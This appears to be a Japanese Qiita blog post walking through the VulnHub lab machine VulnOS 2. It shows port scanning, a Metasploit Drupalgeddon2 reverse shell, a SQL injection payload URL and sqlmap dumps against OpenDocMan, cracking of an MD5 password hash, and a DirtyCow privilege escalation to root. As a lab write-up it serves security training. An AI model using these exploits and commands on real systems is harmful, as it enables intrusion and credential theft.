0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【VulnHub】VulnOS 2:Writeup

Posted at

概要

VulnHub「VulnOS: 2」のWriteupです。

User Flag

ターゲットマシンのIPアドレスを特定します。

$nmap -PE -PP -PM -sP -n 192.168.178.0/24
Warning:  You are not root -- using TCP pingscan rather than ICMP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-23 08:31 UTC
Nmap scan report for 192.168.178.20
Host is up (0.000095s latency).
Nmap scan report for 192.168.178.28
Host is up (0.00056s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 1.86 seconds

192.168.178.20は、攻撃用マシンのIPアドレスです。
192.168.178.28が、ターゲットマシンのIPアドレスだと分かりました。

ポートスキャンを実行します。

$nmap -Pn -sCV -T4 -p- 192.168.178.28 -oN nmap_result
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)
|   2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
|   256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)
|_  256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: VulnOSv2
|_http-server-header: Apache/2.4.7 (Ubuntu)
6667/tcp open  irc     ngircd
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 6.6.1p1
80 http Apache/2.4.7
6667 irc ngircd

80番ポートにアクセスすると、リンクを用意されたページが表示されました。

image.png

websiteをクリックすると、/jabcに遷移しました。

image.png

/jabcのソースコードを確認すると、Drupal 7を使用していることが分かりました。

image.png

Documentationタブをクリックすると、黒背景の画面に遷移しました。
黒背景に黒文字で分が隠されています。
テキストから、/jabcd0cs/のパスとguest/guestという認証情報を入手できました。

image.png

/jabcd0cs/にアクセスすると、ログイン画面が表示されました。
OpenDocMan v1.2.7を使用しているようです。

image.png

Drupal 7の脆弱性を悪用して侵入する

Drupal 7を使用していると分かっているので、droopescanで列挙をします。

$droopescan scan -u http://192.168.178.28/jabc/

[+] Site identified as drupal.
[+] Plugins found:                                                              
    ctools http://192.168.178.28/jabc/sites/all/modules/ctools/
        http://192.168.178.28/jabc/sites/all/modules/ctools/CHANGELOG.txt
        http://192.168.178.28/jabc/sites/all/modules/ctools/LICENSE.txt
        http://192.168.178.28/jabc/sites/all/modules/ctools/API.txt
    token http://192.168.178.28/jabc/sites/all/modules/token/
        http://192.168.178.28/jabc/sites/all/modules/token/README.txt
        http://192.168.178.28/jabc/sites/all/modules/token/LICENSE.txt
    views http://192.168.178.28/jabc/sites/all/modules/views/
        http://192.168.178.28/jabc/sites/all/modules/views/README.txt
        http://192.168.178.28/jabc/sites/all/modules/views/LICENSE.txt
    libraries http://192.168.178.28/jabc/sites/all/modules/libraries/
        http://192.168.178.28/jabc/sites/all/modules/libraries/CHANGELOG.txt
        http://192.168.178.28/jabc/sites/all/modules/libraries/README.txt
        http://192.168.178.28/jabc/sites/all/modules/libraries/LICENSE.txt
    entity http://192.168.178.28/jabc/sites/all/modules/entity/
        http://192.168.178.28/jabc/sites/all/modules/entity/README.txt
        http://192.168.178.28/jabc/sites/all/modules/entity/LICENSE.txt
    ckeditor http://192.168.178.28/jabc/sites/all/modules/ckeditor/
        http://192.168.178.28/jabc/sites/all/modules/ckeditor/CHANGELOG.txt
        http://192.168.178.28/jabc/sites/all/modules/ckeditor/README.txt
        http://192.168.178.28/jabc/sites/all/modules/ckeditor/LICENSE.txt
    rules http://192.168.178.28/jabc/sites/all/modules/rules/
        http://192.168.178.28/jabc/sites/all/modules/rules/README.txt
        http://192.168.178.28/jabc/sites/all/modules/rules/LICENSE.txt
    addressfield http://192.168.178.28/jabc/sites/all/modules/addressfield/
        http://192.168.178.28/jabc/sites/all/modules/addressfield/LICENSE.txt
    plupload http://192.168.178.28/jabc/sites/all/modules/plupload/
        http://192.168.178.28/jabc/sites/all/modules/plupload/CHANGELOG.txt
        http://192.168.178.28/jabc/sites/all/modules/plupload/README.txt
        http://192.168.178.28/jabc/sites/all/modules/plupload/LICENSE.txt
    commerce http://192.168.178.28/jabc/sites/all/modules/commerce/
        http://192.168.178.28/jabc/sites/all/modules/commerce/README.txt
        http://192.168.178.28/jabc/sites/all/modules/commerce/LICENSE.txt
    profile http://192.168.178.28/jabc/modules/profile/
    php http://192.168.178.28/jabc/modules/php/
    image http://192.168.178.28/jabc/modules/image/

[+] Themes found:
    seven http://192.168.178.28/jabc/themes/seven/
    garland http://192.168.178.28/jabc/themes/garland/

[+] Possible version(s):
    7.22
    7.23
    7.24
    7.25
    7.26

[+] No interesting urls found.

Drupal 7.2xを使用している可能性が高いです。
Metasploitのexploit/unix/webapp/drupal_drupalgeddon2モジュールを使用します。

[msf](Jobs:0 Agents:0) >> search drupal 7 type:exploit

exploit/unix/webapp/drupal_drupalgeddon2

オプションを設定します。

[msf](Jobs:0 Agents:1) exploit(unix/webapp/drupal_drupalgeddon2) >> show options 

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...].
                                           Supported proxies: sapni, socks4, socks5, socks5h, http
   RHOSTS       192.168.178.28   yes       The target host(s), see https://docs.metasploit.com/docs/using
                                           -metasploit/basics/using-metasploit.html
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /jabc            yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host


Payload options (php/unix/cmd/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.178.20   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)

モジュールを実行すると、シェルを取得できました。

[msf](Jobs:0 Agents:1) exploit(unix/webapp/drupal_drupalgeddon2) >> exploit 
[*] Started reverse TCP double handler on 192.168.178.20:4433 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 32tBbW763X453E6S;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "32tBbW763X453E6S\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.178.20:4433 -> 192.168.178.28:43799) at 2025-08-23 10:31:58 +0000

whoami
www-data

TTYの設定をします。

$ python -c "import pty;pty.spawn('/bin/bash')"

/var/www/html/jabcd0cs/config.phpから、MySQLの認証情報を入手できました。

/var/www/html/jabcd0cs/config.php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for [OpenDocMan */
define('DB_NAME', 'jabcd0cs');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASS', 'toor');

/** MySQL hostname */
/* The MySQL server. It can also include a port number. e.g. "hostname:port" or a path to a 
 * local socket e.g. ":/path/to/socket" for the localhost.  */
define('DB_HOST', 'localhost');

Username: rootPassword: toorでMySQLに接続できました。

$ mysql -u root -p
mysql -u root -p
Enter password: toor

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| drupal7            |
| jabcd0cs           |
| mysql              |
| performance_schema |
| phpmyadmin         |
+--------------------+
6 rows in set (0.02 sec)

jabcd0csDBのodm_userテーブルから、登録されているアカウント情報を入手できました。

mysql> select * from odm_user;
select * from odm_user;
+----+----------+----------------------------------+------------+-------------+--------------------+-----------+------------+---------------+
| id | username | password                         | department | phone       | Email              | last_name | first_name | pw_reset_code |
+----+----------+----------------------------------+------------+-------------+--------------------+-----------+------------+---------------+
|  1 | webmin   | b78aae356709f8c31118ea613980954b |          2 | 5555551212  | webmin@example.com | min       | web        |               |
|  2 | guest    | 084e0343a0486ff05530df6c705c8bb4 |          2 | 555 5555555 | guest@example.com  | guest     | guest      | NULL          |
+----+----------+----------------------------------+------------+-------------+--------------------+-----------+------------+---------------+
2 rows in set (0.00 sec)

webminのパスワードハッシュ値がMD5なので、平文の特定に成功し、webmin1980だと分かりました。

image.png

webminアカウントがサーバーにあるので、webminでSSH接続が出来そうです。

$ ls -la /home
ls -la /home
total 16
drwxr-xr-x  4 root        root        4096 Apr 16  2016 .
drwxr-xr-x 21 root        root        4096 Apr  3  2016 ..
drwxr-x---  3 vulnosadmin vulnosadmin 4096 May  4  2016 vulnosadmin
drwxr-x---  3 webmin      webmin      4096 May  3  2016 webmin

Username: webminPassword: webmin1980でSSH接続に成功しました。

$ssh webmin@192.168.178.28

$ whoami
webmin

OpenDocMan v1.2.7の脆弱性を悪用して侵入する

ログインページから、OpenDocMan v1.2.7を使用していると分かりました。
このバージョンの脆弱性情報を探すと、SQLインジェクションの脆弱性情報を見つけました。

CVE-2014-1945として登録されています。

exploit-dbの情報を参考にすると、/ajax_udf.phpでSQLインジェクションが出来るようです。

http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9

テストペイロードを試すと、攻撃に成功しSQLのバージョン情報が表示されました。

image.png

sqlmapを使用し、SQLインジェクションを深堀します。
DBの一覧を取得できました。

$sqlmap -u "http://192.168.178.28/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --batch --dbms=mysql

[10:56:48] [INFO] fetching database names
available databases [6]:
[*] drupal7
[*] information_schema
[*] jabcd0cs
[*] mysql
[*] performance_schema
[*] phpmyadmin

続いて、jabcd0csDBのテーブル一覧を取得できました。

$sqlmap -u "http://192.168.178.28/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --batch --dbms=mysql -D jabcd0cs --tables

[10:58:00] [INFO] fetching tables for database: 'jabcd0cs'
[10:58:00] [WARNING] reflective value(s) found and filtering out
Database: jabcd0cs
[15 tables]
+-------------------+
| odm_access_log    |
| odm_admin         |
| odm_category      |
| odm_data          |
| odm_department    |
| odm_dept_perms    |
| odm_dept_reviewer |
| odm_filetypes     |
| odm_log           |
| odm_odmsys        |
| odm_rights        |
| odm_settings      |
| odm_udf           |
| odm_user          |
| odm_user_perms    |
+-------------------+

odm_userテーブルから、登録されているアカウント情報を入手できました。

この後は同様にwebminアカウントのパスワードハッシュを解析し、SSH接続できます。

$sqlmap -u "http://192.168.178.28/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --batch --dbms=mysql -D jabcd0cs -T odm_user --dump

[10:58:55] [INFO] cracked password 'guest' for user 'guest'                                               
Database: jabcd0cs                                                                                        
Table: odm_user
[2 entries]
+----+--------------------+-------------+------------------------------------------+----------+-----------+------------+------------+---------------+
| id | Email              | phone       | password                                 | username | last_name | department | first_name | pw_reset_code |
+----+--------------------+-------------+------------------------------------------+----------+-----------+------------+------------+---------------+
| 1  | webmin@example.com | 5555551212  | b78aae356709f8c31118ea613980954b         | webmin   | min       | 2          | web        | <blank>       |
| 2  | guest@example.com  | 555 5555555 | 084e0343a0486ff05530df6c705c8bb4 (guest) | guest    | guest     | 2          | guest      | NULL          |
+----+--------------------+-------------+------------------------------------------+----------+-----------+------------+------------+---------------+

Root Flag

linpeasで列挙すると、OSのバージョンが3.13.0-24であり、dirtycowの脆弱性があると分かりました。

$ ./linpeas.sh

═══════════════════════════════╣ Basic information ╠═══════════════════════════════
                               ╚═══════════════════╝
OS: Linux version 3.13.0-24-generic (buildd@komainu) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

PoCはexploit-dbのものを使用します。

PoCをコンパイルします。

$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow exploit.cpp -lutil

$ ls dcow 
dcow

実行ファイルの実行権限を設定し、実行するとrootアカウントのパスワードを書き換えることに成功しました。

$ chmod +x ./dcow 

$ ./dcow 
Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :-)

Password: dirtyCowFunでrootアカウントに昇格出来ました。

$ su root
Password: 
root@VulnOSv2:/tmp# whoami
root

/root/flag.txtからルートフラグを入手できました。

# cat /root/flag.txt 
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.

What do you think of A.I.?
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?